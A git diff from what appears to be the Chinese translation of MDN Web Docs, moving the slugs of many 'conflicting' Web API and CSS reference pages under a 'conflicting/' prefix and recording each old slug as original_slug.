diff --git a/files/zh-cn/conflicting/web/api/globaleventhandlers/ontouchmove/index.html b/files/zh-cn/conflicting/web/api/globaleventhandlers/ontouchmove/index.html index 3bbf3d5ce4..7579ce0d36 100644 --- a/files/zh-cn/conflicting/web/api/globaleventhandlers/ontouchmove/index.html +++ b/files/zh-cn/conflicting/web/api/globaleventhandlers/ontouchmove/index.html @@ -1,8 +1,9 @@ --- title: GlobalEventHandlers.ontouchmove -slug: Web/API/GlobalEventHandlers/GlobalEventHanders.ontouchmove +slug: conflicting/Web/API/GlobalEventHandlers/ontouchmove translation_of: Web/API/GlobalEventHandlers/ontouchmove translation_of_original: Web/API/GlobalEventHandlers/GlobalEventHanders.ontouchmove +original_slug: Web/API/GlobalEventHandlers/GlobalEventHanders.ontouchmove ---
{{ApiRef("HTML DOM")}}
diff --git a/files/zh-cn/conflicting/web/api/htmlelement/outertext/index.html b/files/zh-cn/conflicting/web/api/htmlelement/outertext/index.html index 01de770af7..54458e93a2 100644 --- a/files/zh-cn/conflicting/web/api/htmlelement/outertext/index.html +++ b/files/zh-cn/conflicting/web/api/htmlelement/outertext/index.html @@ -1,9 +1,10 @@ --- title: Node.outerText -slug: Web/API/Node/outerText +slug: conflicting/Web/API/HTMLElement/outerText tags: - Node.outerText translation_of: Web/API/HTMLElement/outerText translation_of_original: Web/API/Node/outerText +original_slug: Web/API/Node/outerText ---

请参阅 {{domxref("HTMLElement.outerText")}}

diff --git a/files/zh-cn/conflicting/web/api/htmlinputelement/index.html b/files/zh-cn/conflicting/web/api/htmlinputelement/index.html index 0cccf89889..82a91a1271 100644 --- a/files/zh-cn/conflicting/web/api/htmlinputelement/index.html +++ b/files/zh-cn/conflicting/web/api/htmlinputelement/index.html @@ -1,8 +1,9 @@ --- title: HTMLInputElement.mozSetFileNameArray -slug: Web/API/HTMLInputElement/mozSetFileNameArray +slug: conflicting/Web/API/HTMLInputElement translation_of: Web/API/HTMLInputElement translation_of_original: Web/API/HTMLInputElement/mozSetFileNameArray +original_slug: Web/API/HTMLInputElement/mozSetFileNameArray ---
diff --git a/files/zh-cn/conflicting/web/api/htmlmediaelement/abort_event/index.html b/files/zh-cn/conflicting/web/api/htmlmediaelement/abort_event/index.html index 9a233b4d80..1b77441e5e 100644 --- a/files/zh-cn/conflicting/web/api/htmlmediaelement/abort_event/index.html +++ b/files/zh-cn/conflicting/web/api/htmlmediaelement/abort_event/index.html @@ -1,10 +1,11 @@ --- title: abort -slug: Web/Events/abort +slug: conflicting/Web/API/HTMLMediaElement/abort_event tags: - abort translation_of: Web/API/HTMLMediaElement/abort_event translation_of_original: Web/Events/abort +original_slug: Web/Events/abort ---

当一个资源的加载已中止时,将触发 abort事件。

diff --git a/files/zh-cn/conflicting/web/api/index.html b/files/zh-cn/conflicting/web/api/index.html index f1a247fd70..333f98f0a4 100644 --- a/files/zh-cn/conflicting/web/api/index.html +++ b/files/zh-cn/conflicting/web/api/index.html @@ -1,8 +1,9 @@ --- title: Element.name -slug: Web/API/Element/name +slug: conflicting/Web/API translation_of: Web/API translation_of_original: Web/API/Element/name +original_slug: Web/API/Element/name ---

{{ APIRef() }}

diff --git a/files/zh-cn/conflicting/web/api/mouseevent/altkey/index.html b/files/zh-cn/conflicting/web/api/mouseevent/altkey/index.html index fb69717e99..382f62201d 100644 --- a/files/zh-cn/conflicting/web/api/mouseevent/altkey/index.html +++ b/files/zh-cn/conflicting/web/api/mouseevent/altkey/index.html @@ -1,8 +1,9 @@ --- title: event.altKey -slug: Web/API/event.altKey +slug: conflicting/Web/API/MouseEvent/altKey translation_of: Web/API/MouseEvent/altKey translation_of_original: Web/API/event.altKey +original_slug: Web/API/event.altKey ---

{{ ApiRef() }}

概述

diff --git a/files/zh-cn/conflicting/web/api/mouseevent/button/index.html b/files/zh-cn/conflicting/web/api/mouseevent/button/index.html index c75916a287..1a3142e74e 100644 --- a/files/zh-cn/conflicting/web/api/mouseevent/button/index.html +++ b/files/zh-cn/conflicting/web/api/mouseevent/button/index.html @@ -1,8 +1,9 @@ --- title: event.button -slug: Web/API/event.button +slug: conflicting/Web/API/MouseEvent/button translation_of: Web/API/MouseEvent/button translation_of_original: Web/API/event.button +original_slug: Web/API/event.button ---

{{ ApiRef() }}

概述

diff --git a/files/zh-cn/conflicting/web/api/mouseevent/relatedtarget/index.html b/files/zh-cn/conflicting/web/api/mouseevent/relatedtarget/index.html index a334f4b2eb..aed477e044 100644 --- a/files/zh-cn/conflicting/web/api/mouseevent/relatedtarget/index.html +++ b/files/zh-cn/conflicting/web/api/mouseevent/relatedtarget/index.html @@ -1,8 +1,9 @@ --- title: event.relatedTarget -slug: Web/API/event.relatedTarget +slug: conflicting/Web/API/MouseEvent/relatedTarget translation_of: Web/API/MouseEvent/relatedTarget translation_of_original: Web/API/event.relatedTarget +original_slug: Web/API/event.relatedTarget ---

 

diff --git a/files/zh-cn/conflicting/web/api/mouseevent/shiftkey/index.html b/files/zh-cn/conflicting/web/api/mouseevent/shiftkey/index.html index e01246caca..d61d354b15 100644 --- a/files/zh-cn/conflicting/web/api/mouseevent/shiftkey/index.html +++ b/files/zh-cn/conflicting/web/api/mouseevent/shiftkey/index.html @@ -1,8 +1,9 @@ --- title: event.shiftKey -slug: Web/API/event.shiftKey +slug: conflicting/Web/API/MouseEvent/shiftKey translation_of: Web/API/MouseEvent/shiftKey translation_of_original: Web/API/event.shiftKey +original_slug: Web/API/event.shiftKey ---

{{ ApiRef() }}

概述

diff --git a/files/zh-cn/conflicting/web/api/node/getrootnode/index.html b/files/zh-cn/conflicting/web/api/node/getrootnode/index.html index 6291ef7fd6..ea5deb0b98 100644 --- a/files/zh-cn/conflicting/web/api/node/getrootnode/index.html +++ b/files/zh-cn/conflicting/web/api/node/getrootnode/index.html @@ -1,6 +1,6 @@ --- title: Node.rootNode -slug: Web/API/Node/rootNode +slug: conflicting/Web/API/Node/getRootNode tags: - API - DOM @@ -10,6 +10,7 @@ tags: - rootNode translation_of: Web/API/Node/getRootNode translation_of_original: Web/API/Node/rootNode +original_slug: Web/API/Node/rootNode ---

{{deprecated_header}}{{APIRef("DOM")}}{{SeeCompatTable}}

diff --git a/files/zh-cn/conflicting/web/api/node/index.html b/files/zh-cn/conflicting/web/api/node/index.html index ad04356656..08e2664f32 100644 --- a/files/zh-cn/conflicting/web/api/node/index.html +++ b/files/zh-cn/conflicting/web/api/node/index.html @@ -1,8 +1,9 @@ --- title: Node.baseURIObject -slug: Web/API/Node/baseURIObject +slug: conflicting/Web/API/Node translation_of: Web/API/Node translation_of_original: Web/API/Node/baseURIObject +original_slug: Web/API/Node/baseURIObject ---
{{ApiRef}} {{Fx_minversion_header("3")}} {{Non-standard_header}}
diff --git a/files/zh-cn/conflicting/web/api/node_378aed5ed6869e50853edbc988cf9556/index.html b/files/zh-cn/conflicting/web/api/node_378aed5ed6869e50853edbc988cf9556/index.html index 58844aef2e..03f557b347 100644 --- a/files/zh-cn/conflicting/web/api/node_378aed5ed6869e50853edbc988cf9556/index.html +++ b/files/zh-cn/conflicting/web/api/node_378aed5ed6869e50853edbc988cf9556/index.html @@ -1,8 +1,9 @@ --- title: Node.nodePrincipal -slug: Web/API/Node/nodePrincipal +slug: conflicting/Web/API/Node_378aed5ed6869e50853edbc988cf9556 translation_of: Web/API/Node translation_of_original: Web/API/Node/nodePrincipal +original_slug: Web/API/Node/nodePrincipal ---
{{APIRef}}{{Fx_minversion_header(3)}}{{Non-standard_header}} diff --git a/files/zh-cn/conflicting/web/api/push_api/index.html b/files/zh-cn/conflicting/web/api/push_api/index.html index e616d4e12d..76526ed4ce 100644 --- a/files/zh-cn/conflicting/web/api/push_api/index.html +++ b/files/zh-cn/conflicting/web/api/push_api/index.html @@ -1,6 +1,6 @@ --- title: Using the Push API -slug: Web/API/Push_API/Using_the_Push_API +slug: conflicting/Web/API/Push_API tags: - Push - Push API @@ -8,6 +8,7 @@ tags: - Using the Push API translation_of: Web/API/Push_API translation_of_original: Web/API/Push_API/Using_the_Push_API +original_slug: Web/API/Push_API/Using_the_Push_API ---

W3C Push API 为开发人员在Web应用程序中提供了一些令人兴奋的新功能:本文提供了一个简单的演示,以获取Push通知的设置和运行。

diff --git a/files/zh-cn/conflicting/web/api/url/index.html b/files/zh-cn/conflicting/web/api/url/index.html index 3ca38bbd39..3245250d9c 100644 --- a/files/zh-cn/conflicting/web/api/url/index.html +++ b/files/zh-cn/conflicting/web/api/url/index.html @@ -1,10 +1,11 @@ --- title: Window.URL -slug: Web/API/Window/URL +slug: conflicting/Web/API/URL tags: - Window.URL translation_of: Web/API/URL translation_of_original: Web/API/Window/URL +original_slug: Web/API/Window/URL ---

{{ApiRef("Window")}}{{SeeCompatTable}}

diff --git a/files/zh-cn/conflicting/web/api/web_storage_api/index.html b/files/zh-cn/conflicting/web/api/web_storage_api/index.html index 194b71a94a..c5bde57455 100644 --- a/files/zh-cn/conflicting/web/api/web_storage_api/index.html +++ b/files/zh-cn/conflicting/web/api/web_storage_api/index.html @@ -1,8 +1,9 @@ --- title: Storage -slug: Web/Guide/API/DOM/Storage +slug: conflicting/Web/API/Web_Storage_API translation_of: Web/API/Web_Storage_API translation_of_original: Web/Guide/API/DOM/Storage +original_slug: Web/Guide/API/DOM/Storage ---

概述

diff --git a/files/zh-cn/conflicting/web/api/webrtc_api/index.html b/files/zh-cn/conflicting/web/api/webrtc_api/index.html index da693553b8..bfc9b851dc 100644 --- a/files/zh-cn/conflicting/web/api/webrtc_api/index.html +++ b/files/zh-cn/conflicting/web/api/webrtc_api/index.html @@ -1,8 +1,9 @@ --- title: WebRTC API overview -slug: Web/API/WebRTC_API/Overview +slug: conflicting/Web/API/WebRTC_API translation_of: Web/API/WebRTC_API#WebRTC_concepts_and_usage translation_of_original: Web/API/WebRTC_API/Overview +original_slug: Web/API/WebRTC_API/Overview ---

{{WebRTCSidebar}}

diff --git a/files/zh-cn/conflicting/web/api/webrtc_api/protocols/index.html b/files/zh-cn/conflicting/web/api/webrtc_api/protocols/index.html index 5f37d83529..7aa818b5d5 100644 --- a/files/zh-cn/conflicting/web/api/webrtc_api/protocols/index.html +++ b/files/zh-cn/conflicting/web/api/webrtc_api/protocols/index.html @@ -1,10 +1,11 @@ --- title: WebRTC 架构概览 -slug: Web/API/WebRTC_API/Architecture +slug: conflicting/Web/API/WebRTC_API/Protocols tags: - WebRTC 架构概览 translation_of: Web/API/WebRTC_API/Protocols translation_of_original: Web/API/WebRTC_API/Architecture +original_slug: Web/API/WebRTC_API/Architecture ---

{{WebRTCSidebar}}

diff --git a/files/zh-cn/conflicting/web/api/webrtc_api/signaling_and_video_calling/index.html b/files/zh-cn/conflicting/web/api/webrtc_api/signaling_and_video_calling/index.html index 67464bdbd1..d3ca2eb29c 100644 --- a/files/zh-cn/conflicting/web/api/webrtc_api/signaling_and_video_calling/index.html +++ b/files/zh-cn/conflicting/web/api/webrtc_api/signaling_and_video_calling/index.html @@ -1,8 +1,9 @@ --- title: WebRTC basics -slug: Web/API/WebRTC_API/WebRTC_basics +slug: conflicting/Web/API/WebRTC_API/Signaling_and_video_calling translation_of: Web/API/WebRTC_API/Signaling_and_video_calling translation_of_original: Web/API/WebRTC_API/WebRTC_basics +original_slug: Web/API/WebRTC_API/WebRTC_basics ---

{{WebRTCSidebar}}

diff --git a/files/zh-cn/conflicting/web/api/webrtc_api_d8621144cbc61520339c3b10c61731f0/index.html b/files/zh-cn/conflicting/web/api/webrtc_api_d8621144cbc61520339c3b10c61731f0/index.html index 75330b8894..4f15dae53e 100644 --- a/files/zh-cn/conflicting/web/api/webrtc_api_d8621144cbc61520339c3b10c61731f0/index.html +++ b/files/zh-cn/conflicting/web/api/webrtc_api_d8621144cbc61520339c3b10c61731f0/index.html @@ -1,8 +1,9 @@ --- title: WebRTC -slug: WebRTC +slug: conflicting/Web/API/WebRTC_API_d8621144cbc61520339c3b10c61731f0 translation_of: Web/API/WebRTC_API translation_of_original: WebRTC +original_slug: WebRTC ---

WebRTC中的RTC是实时通信的简称,这是一种支持在浏览器客户端之间语音/视频交流和数据分享的技术。WebRTC作为一项标准,使得所有浏览器无需安装插件或第三方软件,就可以点对点地分享应用数据和进行电话会议。

diff --git a/files/zh-cn/conflicting/web/api/window/localstorage/index.html b/files/zh-cn/conflicting/web/api/window/localstorage/index.html index 46384c660e..eab3bf85fe 100644 --- a/files/zh-cn/conflicting/web/api/window/localstorage/index.html +++ b/files/zh-cn/conflicting/web/api/window/localstorage/index.html @@ -1,11 +1,12 @@ --- title: LocalStorage -slug: Web/API/Storage/LocalStorage +slug: conflicting/Web/API/Window/localStorage tags: - 存储API - 离线 translation_of: Web/API/Window/localStorage translation_of_original: Web/API/Web_Storage_API/Local_storage +original_slug: Web/API/Storage/LocalStorage ---

localStorage 与 sessionStorage 一样,都遵循同源策略,但是它是持续存在的。localStorage 首次出现于 Firefox 3.5。

diff --git a/files/zh-cn/conflicting/web/api/window/moveto/index.html b/files/zh-cn/conflicting/web/api/window/moveto/index.html index 140827ddb9..066314234c 100644 --- a/files/zh-cn/conflicting/web/api/window/moveto/index.html +++ b/files/zh-cn/conflicting/web/api/window/moveto/index.html @@ -1,8 +1,9 @@ --- title: Window.restore() -slug: Web/API/Window/restore +slug: conflicting/Web/API/Window/moveTo translation_of: Web/API/Window/moveTo translation_of_original: Web/API/Window/restore +original_slug: Web/API/Window/restore ---

{{APIRef}}

diff --git a/files/zh-cn/conflicting/web/api_dd04ca1265cb79b990b8120e5f5070d3/index.html b/files/zh-cn/conflicting/web/api_dd04ca1265cb79b990b8120e5f5070d3/index.html index 4db001830f..4a7bcf7366 100644 --- a/files/zh-cn/conflicting/web/api_dd04ca1265cb79b990b8120e5f5070d3/index.html +++ b/files/zh-cn/conflicting/web/api_dd04ca1265cb79b990b8120e5f5070d3/index.html @@ -1,8 +1,9 @@ --- title: WebAPI -slug: WebAPI +slug: conflicting/Web/API_dd04ca1265cb79b990b8120e5f5070d3 translation_of: Web/API translation_of_original: WebAPI +original_slug: WebAPI ---

WebAPI指一组设备兼容套件和访问接口,它允许Web应用及其内容访问设备硬件(比如电池状态或设备振动器),同时也可以获取设备上的数据(比如日历或联系人等信息)。通过这些API,我们希望对Web应用进行扩展,实现过去只有专有平台才可以实现的功能。

diff --git a/files/zh-cn/conflicting/web/css/@viewport/index.html b/files/zh-cn/conflicting/web/css/@viewport/index.html index 92d33a292c..5932c8d574 100644 --- a/files/zh-cn/conflicting/web/css/@viewport/index.html +++ b/files/zh-cn/conflicting/web/css/@viewport/index.html @@ -1,8 +1,9 @@ --- title: height -slug: Web/CSS/@viewport/height +slug: conflicting/Web/CSS/@viewport translation_of: Web/CSS/@viewport translation_of_original: Web/CSS/@viewport/height +original_slug: Web/CSS/@viewport/height ---
{{CSSRef}}
diff --git a/files/zh-cn/conflicting/web/css/@viewport_7861ca3461a359b150d44f2c8d74e53a/index.html b/files/zh-cn/conflicting/web/css/@viewport_7861ca3461a359b150d44f2c8d74e53a/index.html index 11519cee6e..eac64dabdb 100644 --- a/files/zh-cn/conflicting/web/css/@viewport_7861ca3461a359b150d44f2c8d74e53a/index.html +++ b/files/zh-cn/conflicting/web/css/@viewport_7861ca3461a359b150d44f2c8d74e53a/index.html @@ -1,11 +1,12 @@ --- title: orientation -slug: Web/CSS/@viewport/orientation +slug: conflicting/Web/CSS/@viewport_7861ca3461a359b150d44f2c8d74e53a tags: - CSS - CSS Description translation_of: Web/CSS/@viewport translation_of_original: Web/CSS/@viewport/orientation +original_slug: Web/CSS/@viewport/orientation ---
{{CSSRef}}
diff --git a/files/zh-cn/conflicting/web/css/@viewport_a33ee59ffd8336ffb3336900dea02e9f/index.html b/files/zh-cn/conflicting/web/css/@viewport_a33ee59ffd8336ffb3336900dea02e9f/index.html index 2716ef1d6f..8798295f4b 100644 --- a/files/zh-cn/conflicting/web/css/@viewport_a33ee59ffd8336ffb3336900dea02e9f/index.html +++ b/files/zh-cn/conflicting/web/css/@viewport_a33ee59ffd8336ffb3336900dea02e9f/index.html @@ -1,8 +1,9 @@ --- title: viewport-fit -slug: Web/CSS/@viewport/viewport-fit +slug: conflicting/Web/CSS/@viewport_a33ee59ffd8336ffb3336900dea02e9f translation_of: Web/CSS/@viewport translation_of_original: Web/CSS/@viewport/viewport-fit +original_slug: Web/CSS/@viewport/viewport-fit ---
{{CSSRef}} {{Draft}} {{SeeCompatTable}}
diff --git a/files/zh-cn/conflicting/web/css/@viewport_c925ec0506b352ea1185248b874f7848/index.html b/files/zh-cn/conflicting/web/css/@viewport_c925ec0506b352ea1185248b874f7848/index.html index ed5c585a7e..709a42b3d1 100644 --- a/files/zh-cn/conflicting/web/css/@viewport_c925ec0506b352ea1185248b874f7848/index.html +++ b/files/zh-cn/conflicting/web/css/@viewport_c925ec0506b352ea1185248b874f7848/index.html @@ -1,8 +1,9 @@ --- title: width -slug: Web/CSS/@viewport/width +slug: conflicting/Web/CSS/@viewport_c925ec0506b352ea1185248b874f7848 translation_of: Web/CSS/@viewport translation_of_original: Web/CSS/@viewport/width +original_slug: Web/CSS/@viewport/width ---
{{CSSRef}}
diff --git a/files/zh-cn/conflicting/web/css/@viewport_e065ce90bde08c9679692adbe64f6518/index.html b/files/zh-cn/conflicting/web/css/@viewport_e065ce90bde08c9679692adbe64f6518/index.html index 894e8a6c73..0e9cc815ec 100644 --- a/files/zh-cn/conflicting/web/css/@viewport_e065ce90bde08c9679692adbe64f6518/index.html +++ b/files/zh-cn/conflicting/web/css/@viewport_e065ce90bde08c9679692adbe64f6518/index.html @@ -1,11 +1,12 @@ --- title: zoom -slug: Web/CSS/@viewport/zoom +slug: conflicting/Web/CSS/@viewport_e065ce90bde08c9679692adbe64f6518 tags: - CSS - CSS Descriptor translation_of: Web/CSS/@viewport translation_of_original: Web/CSS/@viewport/zoom +original_slug: Web/CSS/@viewport/zoom ---
{{ CSSRef }}
diff --git a/files/zh-cn/conflicting/web/css/_colon_is/index.html b/files/zh-cn/conflicting/web/css/_colon_is/index.html index e9f8527a79..4665363416 100644 --- a/files/zh-cn/conflicting/web/css/_colon_is/index.html +++ b/files/zh-cn/conflicting/web/css/_colon_is/index.html @@ -1,12 +1,13 @@ --- title: ':any' -slug: 'Web/CSS/:any' +slug: conflicting/Web/CSS/:is tags: - CSS - 伪类选择器 - 实验性 -translation_of: 'Web/CSS/:is' -translation_of_original: 'Web/CSS/:any' +translation_of: Web/CSS/:is +translation_of_original: Web/CSS/:any +original_slug: Web/CSS/:any ---
{{CSSRef}}{{SeeCompatTable}}
diff --git a/files/zh-cn/conflicting/web/css/_colon_placeholder-shown/index.html b/files/zh-cn/conflicting/web/css/_colon_placeholder-shown/index.html index f7493e4757..af8a706fa9 100644 --- a/files/zh-cn/conflicting/web/css/_colon_placeholder-shown/index.html +++ b/files/zh-cn/conflicting/web/css/_colon_placeholder-shown/index.html @@ -1,13 +1,14 @@ --- title: ':-moz-placeholder' -slug: 'Web/CSS/:-moz-placeholder' +slug: conflicting/Web/CSS/:placeholder-shown tags: - CSS - CSS Pseudo-class - CSS Reference - Non-standard -translation_of: 'Web/CSS/:placeholder-shown' -translation_of_original: 'Web/CSS/:-moz-placeholder' +translation_of: Web/CSS/:placeholder-shown +translation_of_original: Web/CSS/:-moz-placeholder +original_slug: Web/CSS/:-moz-placeholder ---

 

diff --git a/files/zh-cn/conflicting/web/css/_doublecolon_placeholder/index.html b/files/zh-cn/conflicting/web/css/_doublecolon_placeholder/index.html index 3c08f433c8..b66dc3a6ef 100644 --- a/files/zh-cn/conflicting/web/css/_doublecolon_placeholder/index.html +++ b/files/zh-cn/conflicting/web/css/_doublecolon_placeholder/index.html @@ -1,13 +1,14 @@ --- title: '::-moz-placeholder' -slug: 'Web/CSS/::-moz-placeholder' +slug: conflicting/Web/CSS/::placeholder tags: - CSS - CSS Pseudo-class - CSS Reference - Non-standard -translation_of: 'Web/CSS/::placeholder' -translation_of_original: 'Web/CSS/::-moz-placeholder' +translation_of: Web/CSS/::placeholder +translation_of_original: Web/CSS/::-moz-placeholder +original_slug: Web/CSS/::-moz-placeholder ---
{{Non-standard_header}}{{CSSRef}}
diff --git a/files/zh-cn/conflicting/web/css/css_backgrounds_and_borders/index.html b/files/zh-cn/conflicting/web/css/css_backgrounds_and_borders/index.html index 96d540eedd..8fe764c269 100644 --- a/files/zh-cn/conflicting/web/css/css_backgrounds_and_borders/index.html +++ b/files/zh-cn/conflicting/web/css/css_backgrounds_and_borders/index.html @@ -1,6 +1,6 @@ --- title: CSS Background and Borders -slug: Web/CSS/CSS_Background_and_Borders +slug: conflicting/Web/CSS/CSS_Backgrounds_and_Borders tags: - CSS - CSS Backgrounds and Borders @@ -10,6 +10,7 @@ tags: - TopicStub translation_of: Web/CSS/CSS_Backgrounds_and_Borders translation_of_original: Web/CSS/CSS_Background_and_Borders +original_slug: Web/CSS/CSS_Background_and_Borders ---

{{CSSRef}}

diff --git a/files/zh-cn/conflicting/web/css/css_backgrounds_and_borders/resizing_background_images/index.html b/files/zh-cn/conflicting/web/css/css_backgrounds_and_borders/resizing_background_images/index.html index 611a58af85..8d64addd68 100644 --- a/files/zh-cn/conflicting/web/css/css_backgrounds_and_borders/resizing_background_images/index.html +++ b/files/zh-cn/conflicting/web/css/css_backgrounds_and_borders/resizing_background_images/index.html @@ -1,6 +1,6 @@ --- title: 缩放背景图像 -slug: Web/Guide/CSS/Scaling_background_images +slug: conflicting/Web/CSS/CSS_Backgrounds_and_Borders/Resizing_background_images tags: - Advanced - CSS @@ -11,6 +11,7 @@ tags: - 背景图片 translation_of: Web/CSS/CSS_Backgrounds_and_Borders/Resizing_background_images translation_of_original: Web/CSS/CSS_Background_and_Borders/Scaling_background_images +original_slug: Web/Guide/CSS/Scaling_background_images ---
{{cssref}}
diff --git a/files/zh-cn/conflicting/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html b/files/zh-cn/conflicting/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html index 66cd1921d5..b1d5ee045e 100644 --- a/files/zh-cn/conflicting/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html +++ b/files/zh-cn/conflicting/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html @@ -1,6 +1,6 @@ --- title: 使用CSS的多背景 -slug: Web/CSS/CSS_Background_and_Borders/Using_CSS_multiple_backgrounds +slug: conflicting/Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds tags: - CSS - CSS Background @@ -9,6 +9,7 @@ tags: - Intermediate translation_of: Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds translation_of_original: Web/CSS/CSS_Background_and_Borders/Using_CSS_multiple_backgrounds +original_slug: Web/CSS/CSS_Background_and_Borders/Using_CSS_multiple_backgrounds ---

{{CSSRef}}

diff --git a/files/zh-cn/conflicting/web/css/css_color/index.html b/files/zh-cn/conflicting/web/css/css_color/index.html index 60036fea2b..65153a61df 100644 --- a/files/zh-cn/conflicting/web/css/css_color/index.html +++ b/files/zh-cn/conflicting/web/css/css_color/index.html @@ -1,6 +1,6 @@ --- title: CSS Colors -slug: Web/CSS/CSS_Colors +slug: conflicting/Web/CSS/CSS_Color tags: - CSS - CSS Colors @@ -10,6 +10,7 @@ tags: - TopicStub translation_of: Web/CSS/CSS_Color translation_of_original: Web/CSS/CSS_Colors +original_slug: Web/CSS/CSS_Colors ---
{{CSSRef}}
diff --git a/files/zh-cn/conflicting/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html b/files/zh-cn/conflicting/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html index d2054bc725..64120aad99 100644 --- a/files/zh-cn/conflicting/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html +++ b/files/zh-cn/conflicting/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html @@ -1,6 +1,6 @@ --- title: 使用弹性盒子进行高级布局 -slug: Web/CSS/CSS_Flexible_Box_Layout/Mixins +slug: conflicting/Web/CSS/CSS_Flexible_Box_Layout/Backwards_Compatibility_of_Flexbox tags: - CSS3布局模型 - Flexible_Box @@ -9,6 +9,7 @@ tags: - 弹性盒子 - 弹性盒子模型 translation_of: Web/CSS/CSS_Flexible_Box_Layout/Mixins +original_slug: Web/CSS/CSS_Flexible_Box_Layout/Mixins ---

使用弹性盒子的意义是在任何尺寸的屏幕上改变其和其子元素的尺寸填充屏幕可用空间。一个弹性框容器将延展它的子元素以填充可用空间,并且缩小它的子元素来避免溢出。

diff --git a/files/zh-cn/conflicting/web/css/css_flexible_box_layout/basic_concepts_of_flexbox/index.html b/files/zh-cn/conflicting/web/css/css_flexible_box_layout/basic_concepts_of_flexbox/index.html index d50cf7582f..5a26114225 100644 --- a/files/zh-cn/conflicting/web/css/css_flexible_box_layout/basic_concepts_of_flexbox/index.html +++ b/files/zh-cn/conflicting/web/css/css_flexible_box_layout/basic_concepts_of_flexbox/index.html @@ -1,6 +1,6 @@ --- title: 使用 CSS 弹性盒子 -slug: Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes +slug: conflicting/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox tags: - CSS - CSS Flexible Boxes @@ -17,6 +17,7 @@ tags: - 进阶 translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox translation_of_original: Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes +original_slug: Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes ---
{{CSSRef}}
diff --git a/files/zh-cn/conflicting/web/css/css_flexible_box_layout/typical_use_cases_of_flexbox/index.html b/files/zh-cn/conflicting/web/css/css_flexible_box_layout/typical_use_cases_of_flexbox/index.html index 9ea8045d96..416b96e007 100644 --- a/files/zh-cn/conflicting/web/css/css_flexible_box_layout/typical_use_cases_of_flexbox/index.html +++ b/files/zh-cn/conflicting/web/css/css_flexible_box_layout/typical_use_cases_of_flexbox/index.html @@ -1,11 +1,12 @@ --- title: 使用flexbox来布局web应用 -slug: Web/CSS/CSS_Flexible_Box_Layout/Using_flexbox_to_lay_out_web_applications +slug: conflicting/Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox tags: - CSS - 弹性盒子 translation_of: Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox translation_of_original: Web/CSS/CSS_Flexible_Box_Layout/Using_flexbox_to_lay_out_web_applications +original_slug: Web/CSS/CSS_Flexible_Box_Layout/Using_flexbox_to_lay_out_web_applications ---

{{CSSRef}}

diff --git a/files/zh-cn/conflicting/web/css/easing-function/index.html b/files/zh-cn/conflicting/web/css/easing-function/index.html index aef640fdd3..1e53f47c6d 100644 --- a/files/zh-cn/conflicting/web/css/easing-function/index.html +++ b/files/zh-cn/conflicting/web/css/easing-function/index.html @@ -1,11 +1,12 @@ --- title: -slug: Web/CSS/timing-function +slug: conflicting/Web/CSS/easing-function tags: - CSS - timing-function translation_of: Web/CSS/easing-function translation_of_original: Web/CSS/timing-function +original_slug: Web/CSS/timing-function ---

{{ CSSRef() }}

diff --git a/files/zh-cn/conflicting/web/guide/html/html5/index.html b/files/zh-cn/conflicting/web/guide/html/html5/index.html index 3759db3097..ec94a52452 100644 --- a/files/zh-cn/conflicting/web/guide/html/html5/index.html +++ b/files/zh-cn/conflicting/web/guide/html/html5/index.html @@ -1,8 +1,9 @@ --- title: HTML5 & friends thematic classification -slug: Web/Guide/HTML/HTML5/HTML5_Thematic_Classification +slug: conflicting/Web/Guide/HTML/HTML5 translation_of: Web/Guide/HTML/HTML5 translation_of_original: Web/Guide/HTML/HTML5/HTML5_Thematic_Classification +original_slug: Web/Guide/HTML/HTML5/HTML5_Thematic_Classification ---

这个页面提供了有关HTML5的主题链接,有些链接一般与HTML5关联但实际上并不是HTML标准,为了方便这些内容也被整理到这里。

HTML

diff --git a/files/zh-cn/conflicting/web/guide/index.html b/files/zh-cn/conflicting/web/guide/index.html index ef8d7dac56..48ed6873e3 100644 --- a/files/zh-cn/conflicting/web/guide/index.html +++ b/files/zh-cn/conflicting/web/guide/index.html @@ -1,8 +1,9 @@ --- title: Web 开发 -slug: Web_Development +slug: conflicting/Web/Guide translation_of: Web/Guide translation_of_original: Web_Development +original_slug: Web_Development ---

Web 开发 包括开发网站和Web应用程序的方方面面。

在本文中,您将学到创建从简单到复杂的Web站点、使用最新Web技术的高度互动的网站。

diff --git a/files/zh-cn/conflicting/web/guide/mobile/index.html b/files/zh-cn/conflicting/web/guide/mobile/index.html index ac53f993c1..47137e29a0 100644 --- a/files/zh-cn/conflicting/web/guide/mobile/index.html +++ b/files/zh-cn/conflicting/web/guide/mobile/index.html @@ -1,6 +1,6 @@ --- title: 移动 Web 开发 -slug: Web_Development/Mobile +slug: conflicting/Web/Guide/Mobile tags: - Mobile - NeedsTranslation @@ -8,6 +8,7 @@ tags: - Web Development translation_of: Web/Guide/Mobile translation_of_original: Web_Development/Mobile +original_slug: Web_Development/Mobile ---

开发能在移动设备上浏览的网站需要一些方法来确保网站在移动设备上可以如同在桌面浏览器上一样正常运作。以下的文章介绍了部分方法:

